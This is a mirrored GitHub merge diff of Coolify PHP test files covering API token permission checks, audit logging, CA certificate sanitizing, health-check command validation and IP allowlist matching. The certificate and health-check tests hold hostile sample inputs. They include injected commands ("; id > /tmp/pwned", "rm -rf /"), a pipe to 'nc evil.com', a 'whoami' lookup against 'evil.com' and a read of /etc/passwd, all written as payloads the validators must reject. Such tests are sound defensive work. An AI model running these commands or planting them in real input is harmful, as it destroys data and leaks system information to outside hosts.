mirror of
https://github.com/tiennm99/coolify.git
synced 2026-10-14 08:18:08 +00:00
Merge remote-tracking branch 'origin/next' into api-sensitive-data-scrubber
This commit is contained in:
commit
f5ecdfa4ce
339 files changed
+11186
-2608
No files matched your search
@@ -0,0 +1,166 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Security\ApiTokens;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::updateOrCreate(['id' => 0], ['is_api_enabled' => true]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
|
||||
$this->owner = User::factory()->create();
|
||||
$this->owner->teams()->attach($this->team, ['role' => 'owner']);
|
||||
|
||||
$this->member = User::factory()->create();
|
||||
$this->member->teams()->attach($this->team, ['role' => 'member']);
|
||||
});
|
||||
|
||||
describe('Livewire ApiTokens — member cannot create elevated tokens', function () {
|
||||
test('member cannot create token with root permissions', function () {
|
||||
$this->actingAs($this->member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
Livewire::test(ApiTokens::class)
|
||||
->set('description', 'my-root-token')
|
||||
->set('permissions', ['root'])
|
||||
->call('addNewToken')
|
||||
->assertDispatched('error');
|
||||
|
||||
expect($this->member->tokens()->count())->toBe(0);
|
||||
});
|
||||
|
||||
test('member cannot create token with write permissions', function () {
|
||||
$this->actingAs($this->member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
Livewire::test(ApiTokens::class)
|
||||
->set('description', 'my-write-token')
|
||||
->set('permissions', ['write'])
|
||||
->call('addNewToken')
|
||||
->assertDispatched('error');
|
||||
|
||||
expect($this->member->tokens()->count())->toBe(0);
|
||||
});
|
||||
|
||||
test('member cannot create token with deploy permissions', function () {
|
||||
$this->actingAs($this->member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
Livewire::test(ApiTokens::class)
|
||||
->set('description', 'my-deploy-token')
|
||||
->set('permissions', ['deploy'])
|
||||
->call('addNewToken')
|
||||
->assertDispatched('error');
|
||||
|
||||
expect($this->member->tokens()->count())->toBe(0);
|
||||
});
|
||||
|
||||
test('member cannot create token with read:sensitive permissions', function () {
|
||||
$this->actingAs($this->member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
Livewire::test(ApiTokens::class)
|
||||
->set('description', 'my-sensitive-token')
|
||||
->set('permissions', ['read', 'read:sensitive'])
|
||||
->call('addNewToken')
|
||||
->assertDispatched('error');
|
||||
|
||||
expect($this->member->tokens()->count())->toBe(0);
|
||||
});
|
||||
|
||||
test('member cannot bypass by setting canUseRootPermissions property', function () {
|
||||
$this->actingAs($this->member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
// Simulate snapshot replay: force the boolean to true
|
||||
Livewire::test(ApiTokens::class)
|
||||
->set('canUseRootPermissions', true)
|
||||
->set('description', 'sneaky-root-token')
|
||||
->set('permissions', ['root'])
|
||||
->call('addNewToken')
|
||||
->assertDispatched('error');
|
||||
|
||||
expect($this->member->tokens()->count())->toBe(0);
|
||||
});
|
||||
|
||||
test('member can create token with read permissions', function () {
|
||||
$this->actingAs($this->member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
Livewire::test(ApiTokens::class)
|
||||
->set('description', 'my-read-token')
|
||||
->set('permissions', ['read'])
|
||||
->call('addNewToken')
|
||||
->assertNotDispatched('error');
|
||||
|
||||
expect($this->member->tokens()->count())->toBe(1);
|
||||
expect($this->member->tokens()->first()->abilities)->toBe(['read']);
|
||||
});
|
||||
|
||||
test('owner can create token with root permissions', function () {
|
||||
$this->actingAs($this->owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
Livewire::test(ApiTokens::class)
|
||||
->set('description', 'my-root-token')
|
||||
->set('permissions', ['root'])
|
||||
->call('addNewToken')
|
||||
->assertNotDispatched('error');
|
||||
|
||||
expect($this->owner->tokens()->count())->toBe(1);
|
||||
expect($this->owner->tokens()->first()->abilities)->toBe(['root']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('ApiAbility middleware — member with elevated token blocked', function () {
|
||||
test('member root token is blocked on team_id=0 (root team)', function () {
|
||||
// Create root team with id=0
|
||||
$rootTeam = Team::factory()->create(['id' => 0]);
|
||||
$member = User::factory()->create();
|
||||
$rootTeam->members()->attach($member->id, ['role' => 'member']);
|
||||
|
||||
session(['currentTeam' => $rootTeam]);
|
||||
$token = $member->createToken('root-token', ['root']);
|
||||
|
||||
$this->withToken($token->plainTextToken)
|
||||
->getJson('/api/v1/projects')
|
||||
->assertStatus(403);
|
||||
});
|
||||
|
||||
test('admin root token passes on team_id=0 (root team)', function () {
|
||||
$rootTeam = Team::factory()->create(['id' => 0]);
|
||||
$admin = User::factory()->create();
|
||||
$rootTeam->members()->attach($admin->id, ['role' => 'admin']);
|
||||
|
||||
session(['currentTeam' => $rootTeam]);
|
||||
$token = $admin->createToken('root-token', ['root']);
|
||||
|
||||
$this->withToken($token->plainTextToken)
|
||||
->getJson('/api/v1/projects')
|
||||
->assertSuccessful();
|
||||
});
|
||||
|
||||
test('member root token is blocked on non-zero team', function () {
|
||||
session(['currentTeam' => $this->team]);
|
||||
$token = $this->member->createToken('root-token', ['root']);
|
||||
|
||||
$this->withToken($token->plainTextToken)
|
||||
->getJson('/api/v1/projects')
|
||||
->assertStatus(403);
|
||||
});
|
||||
|
||||
test('member read token passes on non-zero team', function () {
|
||||
session(['currentTeam' => $this->team]);
|
||||
$token = $this->member->createToken('read-token', ['read']);
|
||||
|
||||
$this->withToken($token->plainTextToken)
|
||||
->getJson('/api/v1/projects')
|
||||
->assertSuccessful();
|
||||
});
|
||||
});
|
||||
@@ -1,19 +1,36 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Security\CloudInitScriptForm;
|
||||
use App\Livewire\Security\CloudInitScripts;
|
||||
use App\Livewire\Security\CloudProviderTokenForm;
|
||||
use App\Livewire\Security\CloudProviderTokens;
|
||||
use App\Models\Application;
|
||||
use App\Models\CloudInitScript;
|
||||
use App\Models\CloudProviderToken;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Once;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
function makeAuditTeamUser(): array
|
||||
{
|
||||
if (! InstanceSettings::query()->whereKey(0)->exists()) {
|
||||
$settings = new InstanceSettings;
|
||||
$settings->id = 0;
|
||||
$settings->save();
|
||||
}
|
||||
Once::flush();
|
||||
|
||||
$team = Team::factory()->create();
|
||||
$user = User::factory()->create();
|
||||
$team->members()->attach($user->id, ['role' => 'owner']);
|
||||
@@ -122,6 +139,89 @@ describe('audit channel helper', function () {
|
||||
});
|
||||
});
|
||||
|
||||
describe('security UI audit logging', function () {
|
||||
test('creating a cloud provider token from Livewire writes an audit entry', function () {
|
||||
[$team] = makeAuditTeamUser();
|
||||
|
||||
Http::fake([
|
||||
'https://api.hetzner.cloud/v1/servers' => Http::response([], 200),
|
||||
]);
|
||||
|
||||
$auditChannel = Mockery::mock();
|
||||
$auditChannel->shouldReceive('info')
|
||||
->once()
|
||||
->with('ui.cloud_token.created', Mockery::on(function (array $context) use ($team) {
|
||||
return $context['team_id'] === $team->id
|
||||
&& $context['provider'] === 'hetzner'
|
||||
&& $context['cloud_token_name'] === 'UI Token';
|
||||
}));
|
||||
|
||||
Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel);
|
||||
|
||||
Livewire::test(CloudProviderTokenForm::class)
|
||||
->set('provider', 'hetzner')
|
||||
->set('token', 'secret-token')
|
||||
->set('name', 'UI Token')
|
||||
->call('addToken');
|
||||
});
|
||||
|
||||
test('deleting a cloud provider token from Livewire writes an audit entry', function () {
|
||||
[$team] = makeAuditTeamUser();
|
||||
$token = CloudProviderToken::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'provider' => 'hetzner',
|
||||
'name' => 'Delete Me',
|
||||
]);
|
||||
|
||||
$auditChannel = Mockery::mock();
|
||||
$auditChannel->shouldReceive('info')
|
||||
->once()
|
||||
->with('ui.cloud_token.deleted', Mockery::on(function (array $context) use ($token) {
|
||||
return $context['cloud_token_uuid'] === $token->uuid
|
||||
&& $context['cloud_token_name'] === 'Delete Me';
|
||||
}));
|
||||
|
||||
Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel);
|
||||
|
||||
Livewire::test(CloudProviderTokens::class)
|
||||
->call('deleteToken', $token->id);
|
||||
});
|
||||
|
||||
test('creating and deleting cloud-init scripts from Livewire write audit entries', function () {
|
||||
[$team] = makeAuditTeamUser();
|
||||
|
||||
$auditChannel = Mockery::mock();
|
||||
$auditChannel->shouldReceive('info')
|
||||
->once()
|
||||
->with('ui.cloud_init_script.created', Mockery::on(function (array $context) use ($team) {
|
||||
return $context['team_id'] === $team->id
|
||||
&& $context['cloud_init_script_name'] === 'Bootstrap';
|
||||
}));
|
||||
$auditChannel->shouldReceive('info')
|
||||
->once()
|
||||
->with('ui.cloud_init_script.deleted', Mockery::on(function (array $context) {
|
||||
return $context['cloud_init_script_name'] === 'Bootstrap';
|
||||
}));
|
||||
|
||||
Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel);
|
||||
|
||||
Livewire::test(CloudInitScriptForm::class)
|
||||
->set('name', 'Bootstrap')
|
||||
->set('script', "#cloud-config\npackages: []")
|
||||
->call('save');
|
||||
|
||||
$script = CloudInitScript::where('team_id', $team->id)->firstOrFail();
|
||||
|
||||
Livewire::test(CloudInitScripts::class)
|
||||
->call('deleteScript', $script->id);
|
||||
});
|
||||
|
||||
test('cloud provider token form does not contain debug ray calls', function () {
|
||||
expect(file_get_contents(app_path('Livewire/Security/CloudProviderTokenForm.php')))
|
||||
->not->toContain('ray(');
|
||||
});
|
||||
});
|
||||
|
||||
describe('webhook signature failure logging', function () {
|
||||
test('GitHub manual webhook with bad signature logs to audit channel', function () {
|
||||
$app = makeAuditApplication();
|
||||
|
||||
@@ -0,0 +1,93 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Server\CaCertificate\Show;
|
||||
use App\Models\Server;
|
||||
use App\Models\SslCertificate;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
function generateSelfSignedCert(): string
|
||||
{
|
||||
$key = openssl_pkey_new(['private_key_bits' => 2048]);
|
||||
$csr = openssl_csr_new(['CN' => 'Test CA'], $key);
|
||||
$cert = openssl_csr_sign($csr, null, $key, 365);
|
||||
openssl_x509_export($cert, $certPem);
|
||||
|
||||
return $certPem;
|
||||
}
|
||||
|
||||
test('saveCaCertificate sanitizes injected commands after certificate marker', function () {
|
||||
$validCert = generateSelfSignedCert();
|
||||
|
||||
$caCert = SslCertificate::create([
|
||||
'server_id' => $this->server->id,
|
||||
'is_ca_certificate' => true,
|
||||
'ssl_certificate' => $validCert,
|
||||
'ssl_private_key' => 'test-key',
|
||||
'common_name' => 'Coolify CA Certificate',
|
||||
'valid_until' => now()->addYears(10),
|
||||
]);
|
||||
|
||||
// Inject shell command after valid certificate
|
||||
$maliciousContent = $validCert."' ; id > /tmp/pwned ; echo '";
|
||||
|
||||
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
|
||||
->set('certificateContent', $maliciousContent)
|
||||
->call('saveCaCertificate')
|
||||
->assertDispatched('success');
|
||||
|
||||
// After save, the certificate should be the clean re-exported PEM, not the malicious input
|
||||
$caCert->refresh();
|
||||
expect($caCert->ssl_certificate)->not->toContain('/tmp/pwned');
|
||||
expect($caCert->ssl_certificate)->not->toContain('; id');
|
||||
expect($caCert->ssl_certificate)->toContain('-----BEGIN CERTIFICATE-----');
|
||||
expect($caCert->ssl_certificate)->toEndWith("-----END CERTIFICATE-----\n");
|
||||
});
|
||||
|
||||
test('saveCaCertificate rejects completely invalid certificate', function () {
|
||||
SslCertificate::create([
|
||||
'server_id' => $this->server->id,
|
||||
'is_ca_certificate' => true,
|
||||
'ssl_certificate' => 'placeholder',
|
||||
'ssl_private_key' => 'test-key',
|
||||
'common_name' => 'Coolify CA Certificate',
|
||||
'valid_until' => now()->addYears(10),
|
||||
]);
|
||||
|
||||
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
|
||||
->set('certificateContent', "not-a-cert'; rm -rf /; echo '")
|
||||
->call('saveCaCertificate')
|
||||
->assertDispatched('error');
|
||||
});
|
||||
|
||||
test('saveCaCertificate rejects empty certificate content', function () {
|
||||
SslCertificate::create([
|
||||
'server_id' => $this->server->id,
|
||||
'is_ca_certificate' => true,
|
||||
'ssl_certificate' => 'placeholder',
|
||||
'ssl_private_key' => 'test-key',
|
||||
'common_name' => 'Coolify CA Certificate',
|
||||
'valid_until' => now()->addYears(10),
|
||||
]);
|
||||
|
||||
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
|
||||
->set('certificateContent', '')
|
||||
->call('saveCaCertificate')
|
||||
->assertDispatched('error');
|
||||
});
|
||||
@@ -0,0 +1,90 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
|
||||
$commandRules = ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'];
|
||||
|
||||
it('rejects healthCheckCommand over 1000 characters', function () use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => str_repeat('a', 1001)],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => 'pg_isready -U postgres'],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
it('accepts null healthCheckCommand', function () use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => null],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
it('accepts simple commands', function ($command) use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => $command],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'pg_isready -U postgres',
|
||||
'redis-cli ping',
|
||||
'curl -f http://localhost:8080/health',
|
||||
'wget -q -O- http://localhost/health',
|
||||
'mysqladmin ping -h 127.0.0.1',
|
||||
]);
|
||||
|
||||
it('rejects commands with shell operators', function ($command) use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => $command],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
})->with([
|
||||
'pg_isready; rm -rf /',
|
||||
'redis-cli ping | nc evil.com 1234',
|
||||
'curl http://localhost && curl http://evil.com',
|
||||
'echo $(whoami)',
|
||||
'cat /etc/passwd > /tmp/out',
|
||||
'curl `whoami`.evil.com',
|
||||
'cmd & background',
|
||||
'echo "hello"',
|
||||
"echo 'hello'",
|
||||
'test < /etc/passwd',
|
||||
'bash -c {echo,pwned}',
|
||||
'curl http://evil.com#comment',
|
||||
'echo $HOME',
|
||||
"cmd\twith\ttabs",
|
||||
"cmd\nwith\nnewlines",
|
||||
]);
|
||||
|
||||
it('rejects invalid healthCheckType', function () {
|
||||
$validator = Validator::make(
|
||||
['healthCheckType' => 'exec'],
|
||||
['healthCheckType' => 'string|in:http,cmd']
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts valid healthCheckType values', function ($type) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckType' => $type],
|
||||
['healthCheckType' => 'string|in:http,cmd']
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with(['http', 'cmd']);
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,383 @@
|
||||
<?php
|
||||
|
||||
use App\Rules\ValidIpOrCidr;
|
||||
|
||||
test('IP allowlist with single IPs', function () {
|
||||
$testCases = [
|
||||
['ip' => '192.168.1.100', 'allowlist' => ['192.168.1.100'], 'expected' => true],
|
||||
['ip' => '192.168.1.101', 'allowlist' => ['192.168.1.100'], 'expected' => false],
|
||||
['ip' => '10.0.0.1', 'allowlist' => ['10.0.0.1', '192.168.1.100'], 'expected' => true],
|
||||
];
|
||||
|
||||
foreach ($testCases as $case) {
|
||||
$result = checkIPAgainstAllowlist($case['ip'], $case['allowlist']);
|
||||
expect($result)->toBe($case['expected']);
|
||||
}
|
||||
});
|
||||
|
||||
test('IP allowlist with CIDR notation', function () {
|
||||
$testCases = [
|
||||
['ip' => '192.168.1.50', 'allowlist' => ['192.168.1.0/24'], 'expected' => true],
|
||||
['ip' => '192.168.2.50', 'allowlist' => ['192.168.1.0/24'], 'expected' => false],
|
||||
['ip' => '10.0.0.5', 'allowlist' => ['10.0.0.0/8'], 'expected' => true],
|
||||
['ip' => '11.0.0.5', 'allowlist' => ['10.0.0.0/8'], 'expected' => false],
|
||||
['ip' => '172.16.5.10', 'allowlist' => ['172.16.0.0/12'], 'expected' => true],
|
||||
['ip' => '172.32.0.1', 'allowlist' => ['172.16.0.0/12'], 'expected' => false],
|
||||
];
|
||||
|
||||
foreach ($testCases as $case) {
|
||||
$result = checkIPAgainstAllowlist($case['ip'], $case['allowlist']);
|
||||
expect($result)->toBe($case['expected']);
|
||||
}
|
||||
});
|
||||
|
||||
test('IP allowlist with 0.0.0.0 allows all', function () {
|
||||
$testIps = [
|
||||
'1.2.3.4',
|
||||
'192.168.1.1',
|
||||
'10.0.0.1',
|
||||
'255.255.255.255',
|
||||
'127.0.0.1',
|
||||
];
|
||||
|
||||
// Test 0.0.0.0 without subnet
|
||||
foreach ($testIps as $ip) {
|
||||
$result = checkIPAgainstAllowlist($ip, ['0.0.0.0']);
|
||||
expect($result)->toBeTrue();
|
||||
}
|
||||
|
||||
// Test 0.0.0.0 with any subnet notation - should still allow all
|
||||
foreach ($testIps as $ip) {
|
||||
expect(checkIPAgainstAllowlist($ip, ['0.0.0.0/0']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist($ip, ['0.0.0.0/8']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist($ip, ['0.0.0.0/24']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist($ip, ['0.0.0.0/32']))->toBeTrue();
|
||||
}
|
||||
});
|
||||
|
||||
test('IP allowlist with mixed entries', function () {
|
||||
$allowlist = ['192.168.1.100', '10.0.0.0/8', '172.16.0.0/16'];
|
||||
|
||||
$testCases = [
|
||||
['ip' => '192.168.1.100', 'expected' => true], // Exact match
|
||||
['ip' => '192.168.1.101', 'expected' => false], // No match
|
||||
['ip' => '10.5.5.5', 'expected' => true], // Matches 10.0.0.0/8
|
||||
['ip' => '172.16.255.255', 'expected' => true], // Matches 172.16.0.0/16
|
||||
['ip' => '172.17.0.1', 'expected' => false], // Outside 172.16.0.0/16
|
||||
['ip' => '8.8.8.8', 'expected' => false], // No match
|
||||
];
|
||||
|
||||
foreach ($testCases as $case) {
|
||||
$result = checkIPAgainstAllowlist($case['ip'], $allowlist);
|
||||
expect($result)->toBe($case['expected']);
|
||||
}
|
||||
});
|
||||
|
||||
test('IP allowlist handles empty and invalid entries', function () {
|
||||
// Empty allowlist blocks all
|
||||
expect(checkIPAgainstAllowlist('192.168.1.1', []))->toBeFalse();
|
||||
expect(checkIPAgainstAllowlist('192.168.1.1', ['']))->toBeFalse();
|
||||
|
||||
// Handles spaces
|
||||
expect(checkIPAgainstAllowlist('192.168.1.100', [' 192.168.1.100 ']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('10.0.0.5', [' 10.0.0.0/8 ']))->toBeTrue();
|
||||
|
||||
// Invalid entries are skipped
|
||||
expect(checkIPAgainstAllowlist('192.168.1.1', ['invalid.ip']))->toBeFalse();
|
||||
expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/33']))->toBeFalse(); // Invalid mask
|
||||
expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/-1']))->toBeFalse(); // Invalid mask
|
||||
});
|
||||
|
||||
test('IP allowlist with various IPv4 subnet sizes', function () {
|
||||
// /32 - single host
|
||||
expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.1/32']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('192.168.1.2', ['192.168.1.1/32']))->toBeFalse();
|
||||
|
||||
// /31 - point-to-point link
|
||||
expect(checkIPAgainstAllowlist('192.168.1.0', ['192.168.1.0/31']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/31']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('192.168.1.2', ['192.168.1.0/31']))->toBeFalse();
|
||||
|
||||
// /25 - half a /24
|
||||
expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/25']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('192.168.1.127', ['192.168.1.0/25']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('192.168.1.128', ['192.168.1.0/25']))->toBeFalse();
|
||||
|
||||
// /16
|
||||
expect(checkIPAgainstAllowlist('172.16.0.1', ['172.16.0.0/16']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('172.16.255.255', ['172.16.0.0/16']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('172.17.0.1', ['172.16.0.0/16']))->toBeFalse();
|
||||
|
||||
// /12
|
||||
expect(checkIPAgainstAllowlist('172.16.0.1', ['172.16.0.0/12']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('172.31.255.255', ['172.16.0.0/12']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('172.32.0.1', ['172.16.0.0/12']))->toBeFalse();
|
||||
|
||||
// /8
|
||||
expect(checkIPAgainstAllowlist('10.255.255.255', ['10.0.0.0/8']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('11.0.0.1', ['10.0.0.0/8']))->toBeFalse();
|
||||
|
||||
// /0 - all addresses
|
||||
expect(checkIPAgainstAllowlist('1.1.1.1', ['0.0.0.0/0']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('255.255.255.255', ['0.0.0.0/0']))->toBeTrue();
|
||||
});
|
||||
|
||||
test('IP allowlist with various IPv6 subnet sizes', function () {
|
||||
// /128 - single host
|
||||
expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1/128']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1/128']))->toBeFalse();
|
||||
|
||||
// /127 - point-to-point link
|
||||
expect(checkIPAgainstAllowlist('2001:db8::0', ['2001:db8::/127']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/127']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::/127']))->toBeFalse();
|
||||
|
||||
// /64 - standard subnet
|
||||
expect(checkIPAgainstAllowlist('2001:db8:abcd:1234::1', ['2001:db8:abcd:1234::/64']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8:abcd:1234:ffff:ffff:ffff:ffff', ['2001:db8:abcd:1234::/64']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8:abcd:1235::1', ['2001:db8:abcd:1234::/64']))->toBeFalse();
|
||||
|
||||
// /48 - site prefix
|
||||
expect(checkIPAgainstAllowlist('2001:db8:1234::1', ['2001:db8:1234::/48']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8:1234:ffff::1', ['2001:db8:1234::/48']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8:1235::1', ['2001:db8:1234::/48']))->toBeFalse();
|
||||
|
||||
// /32 - ISP allocation
|
||||
expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/32']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8:ffff:ffff::1', ['2001:db8::/32']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db9::1', ['2001:db8::/32']))->toBeFalse();
|
||||
|
||||
// /16
|
||||
expect(checkIPAgainstAllowlist('2001:0000::1', ['2001::/16']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:ffff:ffff::1', ['2001::/16']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2002::1', ['2001::/16']))->toBeFalse();
|
||||
});
|
||||
|
||||
test('IP allowlist with bare IPv6 addresses', function () {
|
||||
expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1']))->toBeFalse();
|
||||
expect(checkIPAgainstAllowlist('::1', ['::1']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('::1', ['::2']))->toBeFalse();
|
||||
});
|
||||
|
||||
test('IP allowlist with IPv6 CIDR notation', function () {
|
||||
// /64 prefix — issue #8729 exact case
|
||||
expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230::1', ['2a01:e0a:21d:8230::/64']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230:abcd:ef01:2345:6789', ['2a01:e0a:21d:8230::/64']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2a01:e0a:21d:8231::1', ['2a01:e0a:21d:8230::/64']))->toBeFalse();
|
||||
|
||||
// /128 — single host
|
||||
expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1/128']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1/128']))->toBeFalse();
|
||||
|
||||
// /48 prefix
|
||||
expect(checkIPAgainstAllowlist('2001:db8:1234::1', ['2001:db8:1234::/48']))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2001:db8:1235::1', ['2001:db8:1234::/48']))->toBeFalse();
|
||||
});
|
||||
|
||||
test('IP allowlist with mixed IPv4 and IPv6', function () {
|
||||
$allowlist = ['192.168.1.100', '10.0.0.0/8', '2a01:e0a:21d:8230::/64'];
|
||||
|
||||
expect(checkIPAgainstAllowlist('192.168.1.100', $allowlist))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('10.5.5.5', $allowlist))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230::cafe', $allowlist))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('2a01:e0a:21d:8231::1', $allowlist))->toBeFalse();
|
||||
expect(checkIPAgainstAllowlist('8.8.8.8', $allowlist))->toBeFalse();
|
||||
});
|
||||
|
||||
test('IP allowlist handles invalid IPv6 masks', function () {
|
||||
expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/129']))->toBeFalse(); // mask > 128
|
||||
expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/-1']))->toBeFalse(); // negative mask
|
||||
});
|
||||
|
||||
test('IP allowlist comma-separated string input', function () {
|
||||
// Test with comma-separated string (as it would come from the settings)
|
||||
$allowlistString = '192.168.1.100,10.0.0.0/8,172.16.0.0/16';
|
||||
$allowlist = explode(',', $allowlistString);
|
||||
|
||||
expect(checkIPAgainstAllowlist('192.168.1.100', $allowlist))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('10.5.5.5', $allowlist))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('172.16.10.10', $allowlist))->toBeTrue();
|
||||
expect(checkIPAgainstAllowlist('8.8.8.8', $allowlist))->toBeFalse();
|
||||
});
|
||||
|
||||
test('ValidIpOrCidr validation rule', function () {
|
||||
$rule = new ValidIpOrCidr;
|
||||
|
||||
// Helper function to test validation
|
||||
$validate = function ($value) use ($rule) {
|
||||
$errors = [];
|
||||
$fail = function ($message) use (&$errors) {
|
||||
$errors[] = $message;
|
||||
};
|
||||
$rule->validate('allowed_ips', $value, $fail);
|
||||
|
||||
return empty($errors);
|
||||
};
|
||||
|
||||
// Valid cases - should pass
|
||||
expect($validate(''))->toBeTrue(); // Empty is allowed
|
||||
expect($validate('0.0.0.0'))->toBeTrue(); // 0.0.0.0 is allowed
|
||||
expect($validate('192.168.1.1'))->toBeTrue(); // Valid IPv4
|
||||
expect($validate('192.168.1.0/24'))->toBeTrue(); // Valid IPv4 CIDR
|
||||
expect($validate('10.0.0.0/8'))->toBeTrue(); // Valid IPv4 CIDR
|
||||
expect($validate('192.168.1.1,10.0.0.1'))->toBeTrue(); // Multiple valid IPs
|
||||
